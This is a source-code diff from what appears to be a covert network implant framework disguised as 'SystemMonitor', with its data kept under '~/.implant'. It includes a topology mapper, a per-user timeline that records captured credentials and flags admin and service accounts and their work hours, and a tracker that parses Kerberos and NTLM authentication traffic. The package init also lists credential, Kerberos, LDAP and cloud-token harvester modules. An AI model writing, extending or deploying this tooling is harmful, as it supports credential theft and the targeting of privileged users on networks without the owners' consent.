if p.get("services"):
node.setdefault("services", []).extend(p["services"])
else:
open_ports = p.get("open_ports", [])
self._nodes[ip] = {
"ip": ip,
"hostname": p.get("hostname", ""),
"mac": p.get("mac", ""),
"os_family": p.get("os_family", "unknown").lower(),
"role": p.get("role", "unknown").lower(),
"vlan": p.get("vlan"),
"open_ports": set(open_ports) if isinstance(open_ports, list) else open_ports,
"services": p.get("services", []),
"first_seen": time.time(),
"last_seen": time.time(),
}
def _on_vlan_detected(self, event) -> None:
"""Record a detected VLAN."""
p = event.payload
vlan_id = p.get("vlan_id")
if vlan_id is None:
return
with self._lock:
self._vlans[vlan_id] = {
"vlan_id": vlan_id,
"name": p.get("name", ""),
"subnet": p.get("subnet", ""),
"gateway": p.get("gateway", ""),
"first_seen": time.time(),
}
# ------------------------------------------------------------------
# Graph data aggregation
# ------------------------------------------------------------------
def add_edge(self, src_ip: str, dst_ip: str, protocol: str = "tcp",
bytes_transferred: int = 0) -> None:
"""Add or update an edge in the topology graph."""
key = (src_ip, dst_ip) if src_ip < dst_ip else (dst_ip, src_ip)
with self._lock:
edge = self._edges[key]
edge["protocols"].add(protocol.lower())
edge["bytes_total"] += bytes_transferred
edge["conn_count"] += 1
def _periodic_update(self) -> None:
"""Periodically refresh topology from state database."""
interval = self.config.get("topology_refresh_interval", 300)
while self._running:
time.sleep(interval)
try:
self._refresh_from_state()
self._save_to_state()
except Exception:
logger.exception("Periodic topology update failed")
def _refresh_from_state(self) -> None:
"""Pull host and network data from state key-value store."""
# Pull host list from host_discovery module state
hosts_json = self.state.get("host_discovery", "discovered_hosts")
if hosts_json:
try:
hosts = json.loads(hosts_json)
for host in hosts:
ip = host.get("ip", "")
if ip and ip not in self._nodes:
with self._lock:
self._nodes[ip] = {
"ip": ip,
"hostname": host.get("hostname", ""),
"mac": host.get("mac", ""),
"os_family": host.get("os_family", "unknown").lower(),
"role": self._infer_role(host),
"vlan": host.get("vlan"),
"open_ports": set(host.get("open_ports", [])),
"services": host.get("services", []),
"first_seen": host.get("first_seen", time.time()),
"last_seen": host.get("last_seen", time.time()),
}
except (json.JSONDecodeError, TypeError):
pass
# Pull VLAN data from vlan_discovery module state
vlans_json = self.state.get("vlan_discovery", "vlans")
if vlans_json:
try:
vlans = json.loads(vlans_json)
for vlan in vlans:
vid = vlan.get("vlan_id")
if vid is not None:
with self._lock:
self._vlans[vid] = vlan
except (json.JSONDecodeError, TypeError):
pass
def _infer_role(self, host: dict) -> str:
"""Infer device role from open ports and services."""
ports = set(host.get("open_ports", []))
hostname = host.get("hostname", "").lower()
# Router/gateway indicators
if ports & {179, 520, 521}: # BGP, RIP
return "router"
if any(kw in hostname for kw in ("gw", "gateway", "router", "rtr")):
return "router"
# Switch indicators
if any(kw in hostname for kw in ("switch", "sw-", "sw0")):
return "switch"
# AP indicators
if any(kw in hostname for kw in ("ap-", "wap", "access-point")):
return "ap"
# Printer indicators
if ports & {515, 631, 9100}: # LPD, IPP, RAW
return "printer"
if any(kw in hostname for kw in ("print", "prn", "hp", "canon", "brother")):
return "printer"
# Server indicators (multiple service ports)
server_ports = {22, 25, 53, 80, 443, 389, 636, 88, 445, 3389, 5432, 3306, 1433, 8080, 8443}
if len(ports & server_ports) >= 3:
return "server"
if any(kw in hostname for kw in ("srv", "server", "dc", "dns", "mail", "web", "db")):
return "server"
return "workstation"
# ------------------------------------------------------------------
# State persistence
# ------------------------------------------------------------------
def _load_from_state(self) -> None:
"""Load saved topology from state on startup."""
nodes_json = self.state.get(self.name, "nodes")
if nodes_json:
try:
nodes = json.loads(nodes_json)
for ip, node in nodes.items():
node["open_ports"] = set(node.get("open_ports", []))
self._nodes[ip] = node
except (json.JSONDecodeError, TypeError):
pass
edges_json = self.state.get(self.name, "edges")
if edges_json:
try:
edges = json.loads(edges_json)
for key_str, edge_data in edges.items():
parts = key_str.split("|")
if len(parts) == 2:
key = (parts[0], parts[1])
edge_data["protocols"] = set(edge_data.get("protocols", []))
self._edges[key] = edge_data
except (json.JSONDecodeError, TypeError):
pass
vlans_json = self.state.get(self.name, "vlans")
if vlans_json:
try:
self._vlans = json.loads(vlans_json)
except (json.JSONDecodeError, TypeError):
pass
def _save_to_state(self) -> None:
"""Persist topology to state database."""
with self._lock:
# Serialize nodes (convert sets to lists)
nodes_ser = {}
for ip, node in self._nodes.items():
n = dict(node)
n["open_ports"] = list(n.get("open_ports", set()))
nodes_ser[ip] = n
# Serialize edges (convert tuple keys and sets)
edges_ser = {}
for (src, dst), edge in self._edges.items():
key = f"{src}|{dst}"
edges_ser[key] = {
"protocols": list(edge.get("protocols", set())),
"bytes_total": edge.get("bytes_total", 0),
"conn_count": edge.get("conn_count", 0),
}
self.state.set(self.name, "nodes", json.dumps(nodes_ser))
self.state.set(self.name, "edges", json.dumps(edges_ser))
self.state.set(self.name, "vlans", json.dumps(self._vlans))
# ------------------------------------------------------------------
# DOT / SVG generation
# ------------------------------------------------------------------
def generate_dot(self) -> str:
"""Generate Graphviz DOT representation of the network topology."""
lines = [
"digraph SystemMonitorTopology {",
' rankdir=LR;',
' bgcolor="#1a1a2e";',
' node [style=filled, fontcolor=white, fontname="Courier"];',
' edge [fontname="Courier", fontsize=9];',
"",
]
# Group nodes by VLAN
vlan_groups = defaultdict(list)
no_vlan = []
with self._lock:
for ip, node in self._nodes.items():
vlan = node.get("vlan")
if vlan is not None:
vlan_groups[vlan].append((ip, node))
else:
no_vlan.append((ip, node))
# VLAN subgraphs
for vlan_id, members in sorted(vlan_groups.items()):
vlan_info = self._vlans.get(vlan_id, {})
vlan_label = vlan_info.get("name", f"VLAN {vlan_id}")
subnet = vlan_info.get("subnet", "")
label = f"{vlan_label}"
if subnet:
label += f"\\n{subnet}"
lines.append(f" subgraph cluster_vlan{vlan_id} {{")
lines.append(f' label="{label}";')
lines.append(' style=dashed;')
lines.append(' color="#666666";')
lines.append(' fontcolor="#aaaaaa";')
for ip, node in members:
lines.append(f" {self._node_dot(ip, node)}")
lines.append(" }")
lines.append("")
# Ungrouped nodes
for ip, node in no_vlan:
lines.append(f" {self._node_dot(ip, node)}")
lines.append("")
# Edges
for (src, dst), edge in self._edges.items():
protos = ", ".join(sorted(edge.get("protocols", set())))
count = edge.get("conn_count", 0)
# Thicker line for higher traffic
penwidth = min(1.0 + (count / 100.0), 5.0)
# Color by primary protocol
primary_proto = next(iter(edge.get("protocols", {"tcp"})), "tcp")
color = _PROTO_COLORS.get(primary_proto, "#666666")
label = protos
if count > 10:
label += f"\\n({count})"
src_id = self._sanitize_id(src)
dst_id = self._sanitize_id(dst)
lines.append(
f' {src_id} -> {dst_id} '
f'[label="{label}", color="{color}", '
f'penwidth={penwidth:.1f}];'
)
lines.append("}")
return "\n".join(lines)
def _node_dot(self, ip: str, node: dict) -> str:
"""Generate DOT for a single node."""
os_family = node.get("os_family", "unknown")
role = node.get("role", "unknown")
hostname = node.get("hostname", "")
color = _OS_COLORS.get(os_family, _OS_COLORS["unknown"])
shape = _ROLE_SHAPES.get(role, _ROLE_SHAPES["unknown"])
label = ip
if hostname:
label = f"{hostname}\\n{ip}"
ports = node.get("open_ports", set())
if ports:
port_str = ", ".join(str(p) for p in sorted(ports)[:8])
if len(ports) > 8:
port_str += f" (+{len(ports) - 8})"
label += f"\\n[{port_str}]"
node_id = self._sanitize_id(ip)
return (
f'{node_id} [label="{label}", shape={shape}, '
f'fillcolor="{color}", tooltip="{os_family}/{role}"];'
)
@staticmethod
def _sanitize_id(ip: str) -> str:
"""Convert IP to valid DOT node ID."""
return "n_" + ip.replace(".", "_").replace(":", "_")
def generate_svg(self, output_path: str = None) -> Optional[str]:
"""Generate SVG from the DOT graph (requires graphviz installed).
Args:
output_path: Path to write SVG file. If None, returns SVG as string.
Returns:
SVG string if output_path is None, else the output path.
"""
dot = self.generate_dot()
try:
result = subprocess.run(
["dot", "-Tsvg"],
input=dot.encode(),
capture_output=True,
timeout=30,
)
if result.returncode != 0:
logger.error("Graphviz dot failed: %s", result.stderr.decode())
return None
svg = result.stdout.decode()
if output_path:
with open(output_path, "w") as f:
f.write(svg)
return output_path
return svg
except FileNotFoundError:
logger.warning("Graphviz not installed — SVG generation unavailable")
return None
except subprocess.TimeoutExpired:
logger.error("Graphviz timed out generating SVG")
return None
def get_topology_summary(self) -> dict:
"""Return a summary of the current network topology."""
with self._lock:
roles = defaultdict(int)
os_families = defaultdict(int)
for node in self._nodes.values():
roles[node.get("role", "unknown")] += 1
os_families[node.get("os_family", "unknown")] += 1
protocols_seen = set()
for edge in self._edges.values():
protocols_seen.update(edge.get("protocols", set()))
return {
"total_nodes": len(self._nodes),
"total_edges": len(self._edges),
"total_vlans": len(self._vlans),
"by_role": dict(roles),
"by_os": dict(os_families),
"protocols": sorted(protocols_seen),
"vlan_ids": sorted(self._vlans.keys()),
}
+587
View File
@@ -0,0 +1,587 @@
#!/usr/bin/env python3
"""Per-user activity timeline — aggregates login events, service access,
file operations, and web activity into chronological user profiles.
Ingests data from dns_logger, auth_flow_tracker, smb_monitor, and
credential_sniffer via the event bus and periodic state queries.
Identifies work hours, admin activity windows, and service account behavior.
"""
import json
import logging
import os
import sqlite3
import threading
import time
from collections import defaultdict
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
_SCHEMA = """
CREATE TABLE IF NOT EXISTS user_events (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
username TEXT NOT NULL,
domain TEXT DEFAULT '',
event_type TEXT NOT NULL,
source_ip TEXT,
target_ip TEXT,
service TEXT,
detail TEXT DEFAULT '',
source_module TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_ue_user ON user_events(username);
CREATE INDEX IF NOT EXISTS idx_ue_ts ON user_events(timestamp);
CREATE INDEX IF NOT EXISTS idx_ue_type ON user_events(event_type);
CREATE TABLE IF NOT EXISTS user_profiles (
username TEXT PRIMARY KEY,
domain TEXT DEFAULT '',
first_seen REAL,
last_seen REAL,
event_count INTEGER DEFAULT 0,
is_admin INTEGER DEFAULT 0,
is_service_acct INTEGER DEFAULT 0,
typical_hours TEXT DEFAULT '',
workstations TEXT DEFAULT '',
services_used TEXT DEFAULT '',
notes TEXT DEFAULT ''
);
"""
# Event types
EVENT_LOGIN = "login"
EVENT_LOGOUT = "logout"
EVENT_AUTH_FAIL = "auth_fail"
EVENT_SERVICE_ACCESS = "service_access"
EVENT_FILE_ACCESS = "file_access"
EVENT_WEB_BROWSE = "web_browse"
EVENT_ADMIN_ACTION = "admin_action"
EVENT_CRED_CAPTURED = "cred_captured"
# Admin indicators: services or patterns that suggest admin activity
_ADMIN_SERVICES = {
"rdp", "ssh", "winrm", "wmi", "psremoting", "dcom",
"ldap", "kerberos", "smb_admin", "rpc",
}
_ADMIN_USERNAMES = {
"administrator", "admin", "root", "domain admin",
}
# Service account patterns
_SVC_PATTERNS = (
"svc_", "svc-", "service_", "sa_", "task_", "app_",
"sql_", "iis_", "backup_", "scan_", "nessus", "splunk",
"crowdstrike", "sccm", "wsus",
)
class UserTimeline(BaseModule):
"""Build per-user activity timelines from network observation data."""
name = "user_timeline"
module_type = "intel"
priority = 200
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._db_path = ""
self._conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
self._ingest_thread: Optional[threading.Thread] = None
self._event_count = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "user_timeline.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._conn.execute("PRAGMA journal_mode=WAL")
self._conn.execute("PRAGMA synchronous=NORMAL")
self._conn.row_factory = sqlite3.Row
self._conn.executescript(_SCHEMA)
# Subscribe to credential and host events for user correlation
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Periodic ingestion from other module state
self._ingest_thread = threading.Thread(
target=self._periodic_ingest, daemon=True,
name="sensor-user-timeline-ingest",
)
self._ingest_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("UserTimeline started — db=%s", self._db_path)
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
if self._conn:
self._conn.close()
self._conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("UserTimeline stopped — %d events recorded", self._event_count)
def status(self) -> dict:
user_count = 0
if self._conn:
try:
with self._lock:
row = self._conn.execute(
"SELECT COUNT(DISTINCT username) FROM user_events"
).fetchone()
user_count = row[0] if row else 0
except Exception:
pass
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_events": self._event_count,
"tracked_users": user_count,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_credential_found(self, event) -> None:
"""Record credential capture as a user event."""
p = event.payload
from utils.credential_encryption import decrypt_credential_payload
p = decrypt_credential_payload(p)
username = p.get("username", "")
if not username:
return
self._record_event(
username=username,
domain=p.get("domain", ""),
event_type=EVENT_CRED_CAPTURED,
source_ip=p.get("source_ip", ""),
target_ip=p.get("target_ip", ""),
service=p.get("service", ""),
detail=f"Type: {p.get('cred_type', 'unknown')}",
source_module=event.source_module,
)
def _on_host_discovered(self, event) -> None:
"""Check for user information in host discovery data."""
p = event.payload
# Some host discovery may include logged-in user information
username = p.get("logged_in_user", "")
if username:
self._record_event(
username=username,
domain=p.get("domain", ""),
event_type=EVENT_LOGIN,
source_ip=p.get("ip", ""),
target_ip="",
service="workstation",
detail=f"Active on {p.get('hostname', p.get('ip', ''))}",
source_module=event.source_module,
)
# ------------------------------------------------------------------
# Event recording
# ------------------------------------------------------------------
def _record_event(self, username: str, domain: str, event_type: str,
source_ip: str = "", target_ip: str = "",
service: str = "", detail: str = "",
source_module: str = "",
timestamp: float = None) -> None:
"""Record a user activity event."""
if not username:
return
ts = timestamp or time.time()
self._event_count += 1
with self._lock:
try:
self._conn.execute(
"""INSERT INTO user_events
(timestamp, username, domain, event_type, source_ip,
target_ip, service, detail, source_module)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
(ts, username, domain, event_type, source_ip,
target_ip, service, detail, source_module),
)
# Update user profile
is_admin = 1 if (
service.lower() in _ADMIN_SERVICES
or username.lower() in _ADMIN_USERNAMES
or event_type == EVENT_ADMIN_ACTION
) else 0
is_svc = 1 if any(
username.lower().startswith(p) for p in _SVC_PATTERNS
) else 0
self._conn.execute(
"""INSERT INTO user_profiles
(username, domain, first_seen, last_seen, event_count,
is_admin, is_service_acct)
VALUES (?, ?, ?, ?, 1, ?, ?)
ON CONFLICT(username) DO UPDATE SET
last_seen = MAX(excluded.last_seen, user_profiles.last_seen),
event_count = user_profiles.event_count + 1,
is_admin = MAX(excluded.is_admin, user_profiles.is_admin),
is_service_acct = MAX(excluded.is_service_acct, user_profiles.is_service_acct)
""",
(username, domain, ts, ts, is_admin, is_svc),
)
self._conn.commit()
except Exception:
logger.exception("Failed to record user event for %s", username)
def ingest_auth_event(self, username: str, domain: str, source_ip: str,
target_ip: str, service: str, success: bool,
timestamp: float = None) -> None:
"""Ingest an authentication event from external modules."""
event_type = EVENT_LOGIN if success else EVENT_AUTH_FAIL
detail = "success" if success else "failure"
self._record_event(
username=username, domain=domain, event_type=event_type,
source_ip=source_ip, target_ip=target_ip, service=service,
detail=detail, source_module="auth_flow_tracker",
timestamp=timestamp,
)
def ingest_file_access(self, username: str, source_ip: str,
file_path: str, action: str = "read",
timestamp: float = None) -> None:
"""Ingest a file access event (from smb_monitor)."""
self._record_event(
username=username, domain="", event_type=EVENT_FILE_ACCESS,
source_ip=source_ip, target_ip="", service="smb",
detail=f"{action}: {file_path}",
source_module="smb_monitor", timestamp=timestamp,
)
def ingest_web_activity(self, source_ip: str, domain: str,
url: str = "", timestamp: float = None) -> None:
"""Ingest web browsing activity (correlated to user by IP)."""
# Look up username by source_ip from recent events
username = self._resolve_user_by_ip(source_ip)
if not username:
username = f"host:{source_ip}"
self._record_event(
username=username, domain="", event_type=EVENT_WEB_BROWSE,
source_ip=source_ip, target_ip="", service="web",
detail=url or domain,
source_module="dns_logger", timestamp=timestamp,
)
def _resolve_user_by_ip(self, ip: str) -> str:
"""Try to resolve a username from a source IP using recent login events."""
with self._lock:
try:
row = self._conn.execute(
"""SELECT username FROM user_events
WHERE source_ip = ? AND event_type = ?
ORDER BY timestamp DESC LIMIT 1""",
(ip, EVENT_LOGIN),
).fetchone()
return row["username"] if row else ""
except Exception:
return ""
# ------------------------------------------------------------------
# Periodic state ingestion
# ------------------------------------------------------------------
def _periodic_ingest(self) -> None:
"""Periodically pull data from other module state stores."""
interval = self.config.get("timeline_ingest_interval", 120)
while self._running:
time.sleep(interval)
try:
self._ingest_from_auth_tracker()
self._ingest_from_smb_monitor()
self._ingest_from_dns_logger()
self._update_user_profiles()
except Exception:
logger.exception("Periodic user timeline ingest failed")
def _ingest_from_auth_tracker(self) -> None:
"""Pull authentication events from auth_flow_tracker state."""
last_ts = self.state.get(self.name, "auth_tracker_last_ts")
last_ts = float(last_ts) if last_ts else 0
auth_json = self.state.get("auth_flow_tracker", "recent_events")
if not auth_json:
return
try:
events = json.loads(auth_json)
for evt in events:
ts = evt.get("timestamp", 0)
if ts <= last_ts:
continue
self.ingest_auth_event(
username=evt.get("username", ""),
domain=evt.get("domain", ""),
source_ip=evt.get("source_ip", ""),
target_ip=evt.get("target_ip", ""),
service=evt.get("service", ""),
success=evt.get("success", True),
timestamp=ts,
)
last_ts = max(last_ts, ts)
self.state.set(self.name, "auth_tracker_last_ts", str(last_ts))
except (json.JSONDecodeError, TypeError):
pass
def _ingest_from_smb_monitor(self) -> None:
"""Pull SMB file access events from smb_monitor state."""
last_ts = self.state.get(self.name, "smb_monitor_last_ts")
last_ts = float(last_ts) if last_ts else 0
smb_json = self.state.get("smb_monitor", "recent_file_ops")
if not smb_json:
return
try:
events = json.loads(smb_json)
for evt in events:
ts = evt.get("timestamp", 0)
if ts <= last_ts:
continue
self.ingest_file_access(
username=evt.get("username", ""),
source_ip=evt.get("source_ip", ""),
file_path=evt.get("path", ""),
action=evt.get("action", "read"),
timestamp=ts,
)
last_ts = max(last_ts, ts)
self.state.set(self.name, "smb_monitor_last_ts", str(last_ts))
except (json.JSONDecodeError, TypeError):
pass
def _ingest_from_dns_logger(self) -> None:
"""Pull DNS query data for web activity correlation."""
last_ts = self.state.get(self.name, "dns_logger_last_ts")
last_ts = float(last_ts) if last_ts else 0
dns_json = self.state.get("dns_logger", "recent_queries")
if not dns_json:
return
try:
queries = json.loads(dns_json)
for q in queries:
ts = q.get("timestamp", 0)
if ts <= last_ts:
continue
self.ingest_web_activity(
source_ip=q.get("client_ip", ""),
domain=q.get("query_name", ""),
timestamp=ts,
)
last_ts = max(last_ts, ts)
self.state.set(self.name, "dns_logger_last_ts", str(last_ts))
except (json.JSONDecodeError, TypeError):
pass
def _update_user_profiles(self) -> None:
"""Refresh computed fields on user profiles (work hours, workstations, etc)."""
with self._lock:
try:
users = self._conn.execute(
"SELECT DISTINCT username FROM user_events"
).fetchall()
for (username,) in users:
# Compute typical hours
rows = self._conn.execute(
"""SELECT timestamp FROM user_events
WHERE username = ?""",
(username,),
).fetchall()
hours = defaultdict(int)
for (ts,) in rows:
hour = time.localtime(ts).tm_hour
hours[hour] += 1
# Top active hours (>10% of activity)
total = sum(hours.values())
if total > 0:
typical = sorted(
[h for h, c in hours.items() if c / total > 0.1]
)
else:
typical = []
# Workstations (source IPs used for login)
ws_rows = self._conn.execute(
"""SELECT DISTINCT source_ip FROM user_events
WHERE username = ? AND event_type = ? AND source_ip != ''""",
(username, EVENT_LOGIN),
).fetchall()
workstations = [r[0] for r in ws_rows]
# Services used
svc_rows = self._conn.execute(
"""SELECT DISTINCT service FROM user_events
WHERE username = ? AND service != ''""",
(username,),
).fetchall()
services = [r[0] for r in svc_rows]
self._conn.execute(
"""UPDATE user_profiles
SET typical_hours = ?, workstations = ?, services_used = ?
WHERE username = ?""",
(json.dumps(typical), json.dumps(workstations),
json.dumps(services), username),
)
self._conn.commit()
except Exception:
logger.exception("Failed to update user profiles")
# ------------------------------------------------------------------
# Query interface
# ------------------------------------------------------------------
def get_timeline(self, username: str, limit: int = 200,
since: float = 0) -> list:
"""Get chronological activity timeline for a user."""
with self._lock:
rows = self._conn.execute(
"""SELECT * FROM user_events
WHERE username = ? AND timestamp > ?
ORDER BY timestamp DESC LIMIT ?""",
(username, since, limit),
).fetchall()
return [dict(r) for r in rows]
def get_active_users(self, hours: float = 1.0) -> list:
"""Get users active within the given time window."""
since = time.time() - (hours * 3600)
with self._lock:
rows = self._conn.execute(
"""SELECT username, domain, COUNT(*) as event_count,
MAX(timestamp) as last_active
FROM user_events
WHERE timestamp > ?
GROUP BY username
ORDER BY last_active DESC""",
(since,),
).fetchall()
return [dict(r) for r in rows]
def get_admin_users(self) -> list:
"""Get all users identified as having admin privileges."""
with self._lock:
rows = self._conn.execute(
"""SELECT * FROM user_profiles
WHERE is_admin = 1
ORDER BY last_seen DESC"""
).fetchall()
return [dict(r) for r in rows]
def get_service_accounts(self) -> list:
"""Get all detected service accounts."""
with self._lock:
rows = self._conn.execute(
"""SELECT * FROM user_profiles
WHERE is_service_acct = 1
ORDER BY event_count DESC"""
).fetchall()
return [dict(r) for r in rows]
def get_user_profile(self, username: str) -> Optional[dict]:
"""Get computed profile for a user."""
with self._lock:
row = self._conn.execute(
"SELECT * FROM user_profiles WHERE username = ?",
(username,),
).fetchone()
if not row:
return None
profile = dict(row)
# Parse JSON fields
for field in ("typical_hours", "workstations", "services_used"):
try:
profile[field] = json.loads(profile.get(field, "[]"))
except (json.JSONDecodeError, TypeError):
profile[field] = []
return profile
def get_user_work_hours(self, username: str) -> dict:
"""Analyze and return a user's typical work hours."""
with self._lock:
rows = self._conn.execute(
"""SELECT timestamp FROM user_events
WHERE username = ?""",
(username,),
).fetchall()
if not rows:
return {"username": username, "hours": {}, "typical_start": None, "typical_end": None}
hours = defaultdict(int)
for (ts,) in rows:
hour = time.localtime(ts).tm_hour
hours[hour] += 1
total = sum(hours.values())
active_hours = sorted([h for h, c in hours.items() if c / total > 0.05])
return {
"username": username,
"hours": dict(hours),
"active_hours": active_hours,
"typical_start": active_hours[0] if active_hours else None,
"typical_end": active_hours[-1] if active_hours else None,
"total_events": total,
}
+39
View File
@@ -0,0 +1,39 @@
"""SystemMonitor passive modules — zero-noise network observation."""
from modules.passive.packet_capture import PacketCapture
from modules.passive.dns_logger import DNSLogger
from modules.passive.tls_sni_extractor import TLSSNIExtractor
from modules.passive.credential_sniffer import CredentialSniffer
from modules.passive.kerberos_harvester import KerberosHarvester
from modules.passive.host_discovery import HostDiscovery
from modules.passive.os_fingerprint import OSFingerprint
from modules.passive.traffic_analyzer import TrafficAnalyzer
from modules.passive.vlan_discovery import VLANDiscovery
from modules.passive.network_mapper import NetworkMapper
from modules.passive.auth_flow_tracker import AuthFlowTracker
from modules.passive.smb_monitor import SMBMonitor
from modules.passive.cloud_token_harvester import CloudTokenHarvester
from modules.passive.ldap_harvester import LDAPHarvester
from modules.passive.rdp_monitor import RDPMonitor
from modules.passive.quic_analyzer import QUICAnalyzer
from modules.passive.db_interceptor import DBInterceptor
__all__ = [
"PacketCapture",
"DNSLogger",
"TLSSNIExtractor",
"CredentialSniffer",
"KerberosHarvester",
"HostDiscovery",
"OSFingerprint",
"TrafficAnalyzer",
"VLANDiscovery",
"NetworkMapper",
"AuthFlowTracker",
"SMBMonitor",
"CloudTokenHarvester",
"LDAPHarvester",
"RDPMonitor",
"QUICAnalyzer",
"DBInterceptor",
]
+540
View File
@@ -0,0 +1,540 @@
#!/usr/bin/env python3
"""Authentication flow tracker — cross-protocol auth event correlation.
Tracks Kerberos (AS-REQ/TGS-REQ), NTLM (across SMB/HTTP/LDAP/MSSQL),
SSH connections, and LDAP binds. Builds per-user authentication timelines
and identifies service accounts.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Protocol ports
KERBEROS_PORT = 88
SMB_PORT = 445
LDAP_PORT = 389
LDAPS_PORT = 636
RDP_PORT = 3389
SSH_PORT = 22
MSSQL_PORT = 1433
TCP_PROTO = 6
UDP_PROTO = 17
# Kerberos message types (in AS-REQ body)
KRB_AS_REQ = 10
KRB_AS_REP = 11
KRB_TGS_REQ = 12
KRB_TGS_REP = 13
# NTLM signature
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
NTLM_NEGOTIATE = 1
NTLM_CHALLENGE = 2
NTLM_AUTHENTICATE = 3
# Service account detection threshold
SERVICE_ACCOUNT_THRESHOLD = 5
_DB_INIT = """
CREATE TABLE IF NOT EXISTS auth_events (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
protocol TEXT NOT NULL,
auth_type TEXT NOT NULL,
username TEXT DEFAULT '',
domain TEXT DEFAULT '',
target_service TEXT DEFAULT '',
success INTEGER DEFAULT -1
);
CREATE INDEX IF NOT EXISTS idx_auth_user ON auth_events(username);
CREATE INDEX IF NOT EXISTS idx_auth_ts ON auth_events(timestamp);
CREATE INDEX IF NOT EXISTS idx_auth_src ON auth_events(source_ip);
"""
FLUSH_INTERVAL = 30
class AuthFlowTracker(BaseModule):
"""Track authentication events across Kerberos, NTLM, SSH, LDAP."""
name = "auth_flow_tracker"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Track per-user service targets for service account detection
self._user_targets: dict[str, set] = defaultdict(set)
self._stats = {
"packets_processed": 0,
"kerberos_events": 0,
"ntlm_events": 0,
"ssh_events": 0,
"ldap_bind_events": 0,
"service_accounts_detected": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("AuthFlowTracker requires _capture_bus in config")
return
# BPF for auth protocol ports
bpf = (
"port 88 or port 445 or port 389 or port 636 "
"or port 3389 or port 22 or port 1433"
)
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-auth-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-auth-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("AuthFlowTracker started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("AuthFlowTracker stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing auth packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Route packet to appropriate protocol parser."""
if len(pkt) < 34:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 38:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if ip_proto == TCP_PROTO and len(ip_header) >= ihl + 4:
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
# TCP data offset
if len(ip_header) < ihl + 12:
return
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if not payload:
return
port = dst_port
if dst_port == KERBEROS_PORT or src_port == KERBEROS_PORT:
self._parse_kerberos(payload, src_ip, dst_ip, ts)
elif dst_port == SMB_PORT or src_port == SMB_PORT:
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "smb", ts)
